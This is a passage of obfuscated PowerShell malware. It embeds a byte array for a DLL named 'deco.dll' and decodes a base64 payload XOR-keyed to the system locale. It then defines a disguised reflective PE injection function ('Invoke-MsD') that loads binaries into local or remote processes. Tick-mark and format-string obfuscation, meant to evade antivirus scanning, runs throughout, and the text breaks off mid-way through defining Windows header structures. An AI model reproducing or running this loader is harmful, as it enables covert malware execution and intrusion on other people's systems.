,0 ,0 ,0 ,120 ,1 ,0 ,0 ,1 ,0 ,48 ,0 ,48 ,0 ,48 ,0 ,48 ,0 ,48 ,0 ,52 ,0 ,98 ,0 ,48 ,0 ,0 ,0 ,44 ,0 ,2 ,0 ,1 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,68 ,0 ,101 ,0 ,115 ,0 ,99 ,0 ,114 ,0 ,105 ,0 ,112 ,0 ,116 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,48 ,0 ,8 ,0 ,1 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,86 ,0 ,101 ,0 ,114 ,0 ,115 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,0 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,0 ,0 ,52 ,0 ,9 ,0 ,1 ,0 ,73 ,0 ,110 ,0 ,116 ,0 ,101 ,0 ,114 ,0 ,110 ,0 ,97 ,0 ,108 ,0 ,78 ,0 ,97 ,0 ,109 ,0 ,101 ,0 ,0 ,0 ,100 ,0 ,101 ,0 ,99 ,0 ,111 ,0 ,46 ,0 ,100 ,0 ,108 ,0 ,108 ,0 ,0 ,0 ,0 ,0 ,40 ,0 ,2 ,0 ,1 ,0 ,76 ,0 ,101 ,0 ,103 ,0 ,97 ,0 ,108 ,0 ,67 ,0 ,111 ,0 ,112 ,0 ,121 ,0 ,114 ,0 ,105 ,0 ,103 ,0 ,104 ,0 ,116 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,60 ,0 ,9 ,0 ,1 ,0 ,79 ,0 ,114 ,0 ,105 ,0 ,103 ,0 ,105 ,0 ,110 ,0 ,97 ,0 ,108 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,110 ,0 ,97 ,0 ,109 ,0 ,101 ,0 ,0 ,0 ,100 ,0 ,101 ,0 ,99 ,0 ,111 ,0 ,46 ,0 ,100 ,0 ,108 ,0 ,108 ,0 ,0 ,0 ,0 ,0 ,52 ,0 ,8 ,0 ,1 ,0 ,80 ,0 ,114 ,0 ,111 ,0 ,100 ,0 ,117 ,0 ,99 ,0 ,116 ,0 ,86 ,0 ,101 ,0 ,114 ,0 ,115 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,0 ,0 ,56 ,0 ,8 ,0 ,1 ,0 ,65 ,0 ,115 ,0 ,115 ,0 ,101 ,0 ,109 ,0 ,98 ,0 ,108 ,0 ,121 ,0 ,32 ,0 ,86 ,0 ,101 ,0 ,114 ,0 ,115 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,32 ,0 ,0 ,12 ,0 ,0 ,0 ,16 ,53 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0)) | Out-Null
$pg=""+(get-culture).LCID
foreach ($Dy in $magg){
$o = @()
$xx = "$($pg)".ToCharArray()
$re = [System.Text.Encoding]::UTF8
$Dy = [System.Convert]::FromBase64String($Dy)
for ($i = 0; $i -lt $Dy.count; $i++) {
$o += [char]([Byte]$Dy[$i] -bxor [Byte]$xx[$i%$xx.count])
}}
$DXx = $re.GetString($o)
$Uno = [ee]::De($Dxx)
${G`lo`Bal:MG`GG} = ${U`No}
function In`VOke`-MsD
{
[CmdletBinding()]
Param(
[Parameter(pOSItiOn = 0, MaNDATORy = ${FaL`SE})]
[ValidateNotNullOrEmpty()]
[Byte[]]
${PEBY`T`es},
[Parameter(PosiTIOn = 1)]
[String[]]
${cO`MP`Ut`erNA`me},
[Parameter(POSiTiON = 2)]
[ValidateSet( 'WString', 'String', 'Void' )]
[String]
${fUNc`Re`TUR`N`TYpE} = 'Void',
[Parameter(pOsItion = 3)]
[String]
${e`xeAr`gS},
[Parameter(POSItIOn = 4)]
[Int32]
${pROC`iD},
[Parameter(pOSiTion = 5)]
[String]
${pro`C`N`AmE},
[Switch]
${fORc`eA`SLr},
[Switch]
${D`oNoTZErO`Mz}
)
&("{3}{0}{1}{4}{2}"-f 't-S','tr','tMode','Se','ic') -Version 2
${R`EmoT`ESC`R`IPtBL`OCK} = {
[CmdletBinding()]
Param(
[Parameter(PosiTIOn = 0, mANdaToRY = ${tr`Ue})]
[Byte[]]
${pEB`y`TeS},
[Parameter(pOSITioN = 1, mandaToRy = ${tR`Ue})]
[String]
${fU`N`Cr`E`TuRNtype},
[Parameter(pOSITIon = 2, mAnDATOry = ${T`Rue})]
[Int32]
${PR`OcID},
[Parameter(PositioN = 3, manDATORy = ${T`RUE})]
[String]
${P`ROcNA`mE},
[Parameter(PoSItiON = 4, MAnDAtOrY = ${t`Rue})]
[Bool]
${F`Or`Ceaslr}
)
Function gET`-wIN32TY`PeS
{
${WIn`32T`yP`ES} = &('a') ("{0}{2}{1}"-f'System','ect','.Obj')
${dom`A`iN} = [AppDomain]::"curr`e`N`TdomAIN"
${DYNam`iCa`SSembLy} = &('a') ("{6}{5}{1}{0}{3}{2}{4}"-f 'lec','.Ref','ion.AssemblyNa','t','me','tem','Sys')('DynamicAssembly')
${ASSE`mblYbu`ILDeR} = ${Do`MAIn}."D`e`F`IN`ed`yNAMicA`sSEmbLY"(${dYnaMIcaS`se`Mb`lY}, [System.Reflection.Emit.AssemblyBuilderAccess]::"R`UN")
${mODu`L`Eb`UilDer} = ${a`sSeMbLybU`iL`DEr}."defINEdYN`A`m`IC`M`odU`lE"('DynamicModule', ${f`ALse})
${CONst`R`U`CtO`RiNfO} = [System.Runtime.InteropServices.MarshalAsAttribute]."g`etC`OnstR`Uc`TORs"()[0]
${T`Y`pEbuilDEr} = ${MODu`lEB`Ui`ldeR}."D`EfINee`NUm"('MachineType', 'Public', [UInt16])
${Ty`PebuILD`eR}."de`FI`Ne`L`ItErAL"('Native', [UInt16] 0) | &("{1}{0}{2}" -f 't-Nu','Ou','ll')
${T`YPEbUil`DEr}."defi`N`eLITEr`Al"('I386', [UInt16] 0x014c) | &("{2}{1}{0}" -f'l','t-Nul','Ou')
${t`y`PeBui`LDer}."DEFINeli`TE`R`AL"('Itanium', [UInt16] 0x0200) | &("{1}{0}{2}" -f'-','Out','Null')
${Ty`pebuI`ld`Er}."deFI`NEl`ItEr`AL"('x64', [UInt16] 0x8664) | &("{0}{2}{1}"-f 'Ou','ull','t-N')
${MaCH`I`N`ETypE} = ${t`y`peB`UIlDeR}."c`RE`ATe`Type"()
${W`i`N3`2TYpES} | &("{2}{1}{0}" -f 'r','Membe','Add-') -MemberType ("{2}{0}{1}" -f 'Pr','operty','Note') -Name ("{1}{2}{0}" -f'neType','M','achi') -Value ${MaCH`Inety`Pe}
${TyP`EbU`iLd`er} = ${ModuLeBu`I`ldER}."defIn`E`EnuM"('MagicType', 'Public', [UInt16])
${Typ`EbUI`LdER}."D`efi`NELi`TEral"('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | &("{1}{0}" -f'-Null','Out')
${Typ`ebUi`LDeR}."D`EfInELi`TERAl"('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | &("{0}{1}" -f 'Ou','t-Null')
${MAGI`cty`PE} = ${t`ypEBU`ILDEr}."c`REAt`EtY`Pe"()
${wIn3`2TY`PEs} | &("{1}{0}{2}" -f 'emb','Add-M','er') -MemberType ("{2}{0}{1}"-f 'otePropert','y','N') -Name ("{0}{2}{1}" -f 'Mag','ype','icT') -Value ${mAGic`T`ype}
${t`yp`ebuiL`dEr} = ${m`oD`Ul`e`BuiLdER}."DEfiNe`e`NuM"('SubSystemType', 'Public', [UInt16])
${TY`pEbUILd`er}."DeFINelI`T`eraL"('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | &("{0}{1}{2}" -f 'Out','-Nul','l')
${TYpe`BU`I`lDeR}."defIne`LI`TErAl"('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | &("{1}{0}{2}" -f'Nu','Out-','ll')
${TypeBu`I`LD`Er}."DE`F`ineL`iteR`Al"('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | &("{1}{0}{2}" -f'ut-','O','Null')
${t`Ype`BuIl`DEr}."DEFIN`Eli`TErAL"('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | &("{2}{1}{0}"-f'l','-Nul','Out')
${T`YPeBU`i`LDer}."De`FINeLiter`AL"('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | &("{0}{2}{1}" -f 'O','-Null','ut')
${t`yPe`B`UILdEr}."d`efINe`LItE`RAl"('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | &("{0}{1}"-f'Out','-Null')
${ty`PE`Bui`LdeR}."DeFINe`li`T`erAl"('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | &("{0}{1}{2}"-f'O','u','t-Null')
${T`YPEbuil`dEr}."DEFINElItE`R`AL"('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | &("{1}{2}{0}"-f'-Null','Ou','t')
${typeb`U`il`dER}."DEf`InELIt`eR`AL"('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | &("{0}{1}{2}" -f'Out-','Nul','l')
${TyP`eBUI`L`DeR}."DEF`iNeLI`T`ErAl"('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | &("{0}{1}" -f 'Out-Nu','ll')
${T`yPEb`UIld`er}."DefINEli`TE`Ral"('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | &("{0}{2}{1}" -f 'O','ll','ut-Nu')
${SuB`S`YsT`eMt`ype} = ${t`YpeBUild`Er}."Crea`TE`T`ypE"()
${win`3`2ty`PeS} | &("{2}{0}{1}" -f 'm','ber','Add-Me') -MemberType ("{1}{2}{0}"-f 'ty','No','teProper') -Name ("{0}{2}{3}{1}"-f'SubSys','e','t','emTyp') -Value ${su`B`SYSTEm`TyPe}
${t`yp`Eb`UildER} = ${M`oDul`eb`UIlDEr}."dE`FINe`e`NUm"('DllCharacteristicsType', 'Public', [UInt16])
${t`YPe`BUiLDeR}."d`E`FineL`ItER`AL"('RES_0', [UInt16] 0x0001) | &("{2}{0}{1}" -f'ut-N','ull','O')
${t`ypEb`UIldER}."dEFinEl`itE`R`AL"('RES_1', [UInt16] 0x0002) | &("{2}{1}{0}" -f'-Null','t','Ou')
${T`Yp`EBU`ildEr}."De`Fi`NeLItE`R`AL"('RES_2', [UInt16] 0x0004) | &("{1}{0}{2}"-f 'l','Out-Nu','l')
${t`yPeBUi`ldeR}."De`F`I`NElITEraL"('RES_3', [UInt16] 0x0008) | &("{0}{1}"-f 'Ou','t-Null')
${t`Yp`EBUilDer}."d`Ef`I`N`elItErAL"('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | &("{0}{1}{2}"-f 'Ou','t-','Null')
${TY`PeBUIl`dEr}."dEFin`ELIT`ER`AL"('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | &("{1}{0}{2}" -f 'l','Out-Nu','l')
${T`ypEbu`I`ldEr}."DEFInEliTe`R`AL"('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | &("{1}{2}{0}" -f'll','Out','-Nu')
${tyPEbU`I`ld`er}."DEfinel`iTE`RaL"('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | &("{1}{2}{0}"-f'll','O','ut-Nu')
${TYpe`BUi`l`dEr}."D`eFINEL`i`TEral"('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | &("{0}{2}{1}" -f'Out-','ll','Nu')
${t`yPeBUiL`DeR}."DE`FineLI`T`E`RaL"('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | &("{1}{0}{2}"-f'-Nul','Out','l')
${TYP`EbuiL`dER}."Defi`N`eLiTeral"('RES_4', [UInt16] 0x1000) | &("{0}{1}{2}" -f 'Ou','t-','Null')
${TYp`Eb`UILdEr}."dEf`i`NElIteRAL"('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | &("{2}{0}{1}" -f 't-','Null','Ou')
${tYpE`BUil`DEr}."D`EfinEL`ItEral"('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | &("{1}{2}{0}"-f '-Null','Ou','t')
${dLlCHARaCt`ER`istiCst`Y`pE} = ${TypEBUi`lD`er}."cReA`T`ETy`pe"()
${WIN3`2t`YPeS} | &("{3}{2}{1}{0}"-f'r','e','-Memb','Add') -MemberType ("{0}{1}{2}" -f'N','otePr','operty') -Name ("{0}{4}{3}{1}{5}{2}" -f 'D','stics','e','ri','llCharacte','Typ') -Value ${dlLCHaR`AcTERis`Tic`S`Ty`Pe}
${AtTr`IBuT`Es} = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
${tYpeBuI`l`deR} = ${ModULE`Bu`ilD`er}."D`efinE`TyPe"('IMAGE_DATA_DIRECTORY', ${a`TtrI`BUTeS}, [System.ValueType], 8)
(${TYPE`Bui`Lder}."D`eF`InEfIE`ld"('VirtualAddress', [UInt32], 'Public'))."Set`OFfs`eT"(0) | &("{2}{0}{1}" -f 'ut-Nu','ll','O')
(${TYp`E`B`UildER}."De`FinEf`ieLd"('Size', [UInt32], 'Public'))."SetO`F`Fs`eT"(4) | &("{1}{2}{0}"-f'll','O','ut-Nu')
${I`M`Ag`e_DatA_d`iReCTORY} = ${t`YpE`BU`ILder}."cReATET`y`pE"()
${wI`N32T`YP`es} | &("{1}{2}{0}" -f'ember','Add-','M') -MemberType ("{0}{2}{1}" -f'N','eProperty','ot') -Name ("{0}{4}{3}{1}{2}"-f'IMAGE_DAT','C','TORY','_DIRE','A') -Value ${Ima`gE_D`ATa_DIRe`ctory}
${a`TT`RIbUTeS} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
${typEB`UI`ld`Er} = ${M`O`Du`lebUI`lder}."dEFI`NeT`YPe"('IMAGE_FILE_HEADER', ${a`TtrI`BuTeS}, [System.ValueType], 20)
${type`B`UIlD`Er}."de`Fi`NeFiEld"('Machine', [UInt16], 'Public') | &("{2}{0}{1}" -f 'Nu','ll','Out-')
${tYp`e`B`Uilder}."D`EFiNE`FiE`lD"('NumberOfSections', [UInt16], 'Public') | &("{1}{2}{0}" -f'-Null','Ou','t')
${TyP`EbuI`LDEr}."dEf`IneFie`LD"('TimeDateStamp', [UInt32], 'Public') | &("{1}{2}{0}"-f'l','Ou','t-Nul')
${tYPE`BUI`L`Der}."DeF`inEF`IelD"('PointerToSymbolTable', [UInt32], 'Public') | &("{1}{2}{0}" -f 'll','Out-N','u')
${typ`eb`UIld`er}."DEFI`N`ef`ieLD"('NumberOfSymbols', [UInt32], 'Public') | &("{0}{1}"-f'Out-Nul','l')
${T`YPE`BuiL`der}."De`FiNeF`i`ELD"('SizeOfOptionalHeader', [UInt16], 'Public') | &("{0}{2}{1}" -f 'Out-N','ll','u')
${TYp`e`BU`iLdER}."d`efin`EFI`ElD"('Characteristics', [UInt16], 'Public') | &("{1}{0}{2}"-f 'ut-N','O','ull')
${imaGe_`F`i`l`E_heAd`Er} = ${t`Y`pebUIlD`er}."cReA`T`ETYpE"()
${w`i`N32t`ypeS} | &("{2}{0}{1}" -f 'd','-Member','Ad') -MemberType ("{1}{2}{0}{3}" -f'er','N','oteProp','ty') -Name ("{1}{2}{4}{3}{0}"-f 'DER','IMAGE_FI','L','A','E_HE') -Value ${i`M`AGe`_Fil`e_hEad`ER}
${At`TR`ibUteS} = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
${Type`Bui`l`DeR} = ${modUle`BU`ILD`eR}."d`efinet`YPE"('IMAGE_OPTIONAL_HEADER64', ${Attrib`U`T`ES}, [System.ValueType], 240)
(${type`Build`eR}."D`e`FINeFiElD"('Magic', ${m`Ag`IcTYpe}, 'Public'))."SEt`OFFSet"(0) | &("{0}{1}" -f'Ou','t-Null')
(${typE`BUi`L`dER}."d`efInEfi`ELD"('MajorLinkerVersion', [Byte], 'Public'))."s`eToFFSeT"(2) | &("{1}{2}{0}" -f't-Null','O','u')
(${typEBu`I`lDeR}."DEFi`NeF`i`ELd"('MinorLinkerVersion', [Byte], 'Public'))."sET`oFf`sET"(3) | &("{1}{0}" -f'ut-Null','O')
(${tYpeb`Ui`LD`eR}."De`FIneFI`ElD"('SizeOfCode', [UInt32], 'Public'))."SEtO`F`FSEt"(4) | &("{0}{2}{1}" -f'Out','ull','-N')
(${tYPe`BU`I`ldeR}."d`eFI`Ne`FiELD"('SizeOfInitializedData', [UInt32], 'Public'))."SeTo`FFS`Et"(8) | &("{0}{1}{2}"-f'Out','-','Null')
(${tYp`EbUI`LDeR}."deF`IneF`IElD"('SizeOfUninitializedData', [UInt32], 'Public'))."SE`T`OffsEt"(12) | &("{1}{0}" -f '-Null','Out')
(${tyPE`BuILD`Er}."dEfiNeF`iE`ld"('AddressOfEntryPoint', [UInt32], 'Public'))."sE`ToF`FSet"(16) | &("{2}{0}{1}"-f'Nu','ll','Out-')
(${tYP`EbUIL`D`eR}."DEF`IN`EFiELd"('BaseOfCode', [UInt32], 'Public'))."s`ETofFs`Et"(20) | &("{0}{1}{2}"-f 'Out','-N','ull')
(${TY`pe`Buil`DER}."d`E`F`iNeFIeLD"('ImageBase', [UInt64], 'Public'))."s`ETOffsEt"(24) | &("{1}{0}" -f 'l','Out-Nul')
(${T`YpEBUi`LDEr}."DEfI`Nefi`eLd"('SectionAlignment', [UInt32], 'Public'))."S`Et`OffsET"(32) | &("{0}{1}{2}" -f 'Out-','Nul','l')
(${tYPEb`UI`Ld`eR}."dE`F`iNeFi`ElD"('FileAlignment', [UInt32], 'Public'))."sETOFf`s`eT"(36) | &("{1}{0}{2}"-f't-Nul','Ou','l')
(${TyPE`BuI`l`DEr}."deFI`NEF`I`eld"('MajorOperatingSystemVersion', [UInt16], 'Public'))."SE`TOfFSet"(40) | &("{1}{2}{0}" -f'll','O','ut-Nu')
(${TyPEBUi`l`dEr}."dE`FIn`EfiEld"('MinorOperatingSystemVersion', [UInt16], 'Public'))."SetO`FfS`Et"(42) | &("{0}{2}{1}" -f 'Out-','l','Nul')
(${T`Ypeb`UIldER}."defINEf`i`Eld"('MajorImageVersion', [UInt16], 'Public'))."set`o`FfSet"(44) | &("{0}{1}" -f'O','ut-Null')
(${TYpE`BUil`DEr}."Def`INE`F`IeLD"('MinorImageVersion', [UInt16], 'Public'))."s`eT`ofFSeT"(46) | &("{1}{0}{2}" -f '-Nul','Out','l')
(${tYp`EbUi`ld`er}."De`FiNe`F`iElD"('MajorSubsystemVersion', [UInt16], 'Public'))."se`TO`FFSEt"(48) | &("{0}{1}{2}"-f 'O','ut-','Null')
(${T`Yp`EBUIl`DER}."d`eF`IneF`IELD"('MinorSubsystemVersion', [UInt16], 'Public'))."SE`ToF`FSet"(50) | &("{1}{0}" -f 'ut-Null','O')
(${T`Yp`e`BuildER}."DEfineF`i`ELD"('Win32VersionValue', [UInt32], 'Public'))."s`EToffSeT"(52) | &("{0}{1}{2}"-f 'Ou','t-Nul','l')
(${typ`eb`UiLDer}."dE`FINe`FIeLD"('SizeOfImage', [UInt32], 'Public'))."sEToff`s`eT"(56) | &("{2}{0}{1}"-f '-Nu','ll','Out')
(${t`YpebUI`ldER}."DEfinE`FiE`lD"('SizeOfHeaders', [UInt32], 'Public'))."Se`TOffset"(60) | &("{0}{1}" -f'O','ut-Null')
(${Typ`E`BuI`Lder}."dE`F`inefIeLd"('CheckSum', [UInt32], 'Public'))."set`OFF`SET"(64) | &("{0}{1}"-f'Out','-Null')
(${Ty`pebu`IldEr}."dE`FINef`iE`ld"('Subsystem', ${s`Ub`sYSTEmTy`pE}, 'Public'))."set`oFfs`et"(68) | &("{2}{1}{0}" -f 'l','Nul','Out-')
(${tYP`e`BuIlDER}."deFi`NE`Fi`elD"('DllCharacteristics', ${dL`LCHARAC`TeRiS`TicStYpe}, 'Public'))."sE`ToFFSeT"(70) | &("{1}{2}{0}"-f 'ull','O','ut-N')
(${Typeb`UIld`Er}."deFIn`e`FiElD"('SizeOfStackReserve', [UInt64], 'Public'))."S`EtoFFS`et"(72) | &("{0}{1}{2}" -f 'O','ut-Nu','ll')
(${T`ype`BUiL`DEr}."dEfI`Nef`iE`lD"('SizeOfStackCommit', [UInt64], 'Public'))."sETo`FF`seT"(80) | &("{1}{0}{2}"-f'-','Out','Null')
(${tYP`E`B`UiLDEr}."DE`FiN`e`FIELd"('SizeOfHeapReserve', [UInt64], 'Public'))."sE`ToFF`set"(88) | &("{0}{1}" -f'Ou','t-Null')
(${tY`pEbUi`ldeR}."deFin`efie`LD"('SizeOfHeapCommit', [UInt64], 'Public'))."SETOFF`SeT"(96) | &("{0}{2}{1}" -f 'O','ll','ut-Nu')
(${tYp`ebUIL`DER}."de`Fi`NefiELd"('LoaderFlags', [UInt32], 'Public'))."sETo`Ffs`Et"(104) | &("{0}{1}{2}" -f'O','ut-Nul','l')
(${tYpEb`UI`l`der}."dEF`i`NEFiE`lD"('NumberOfRvaAndSizes', [UInt32], 'Public'))."SETOF`F`sEt"(108) | &("{0}{1}{2}" -f 'Ou','t-Nu','ll')
(${tY`PeBui`lD`ER}."DEFi`NeF`iE`LD"('ExportTable', ${I`MaG`E`_DaTa_DIR`ECtOry}, 'Public'))."sEt`OFFS`Et"(112) | &("{1}{0}{2}" -f'-Nul','Out','l')
(${t`y`PEbUiLd`ER}."D`eFI`NE`FIELD"('ImportTable', ${imaGe`_D`A`TA_Dir`ECT`ORY}, 'Public'))."se`ToF`Fs`ET"(120) | &("{1}{0}{2}"-f'ut-Nu','O','ll')
(${t`yPebu`il`dER}."dE`F`iNEFIE`Ld"('ResourceTable', ${I`MA`ge`_DAtA_dIrec`T`oRy}, 'Public'))."Set`OFfSeT"(128) | &("{2}{0}{1}" -f'ut-','Null','O')
(${tyP`EBu`ILD`Er}."deFI`NEFi`eLd"('ExceptionTable', ${iMaG`E_`Dat`A_D`iRECT`orY}, 'Public'))."SeT`oFFsET"(136) | &("{1}{2}{0}" -f 'll','Ou','t-Nu')
(${T`ypeBuI`ld`er}."dEfi`NEfI`elD"('CertificateTable', ${ImaG`E_daTA_diRE`C`T`oRY}, 'Public'))."s`etoffS`et"(144) | &("{0}{1}" -f 'Out-Nu','ll')
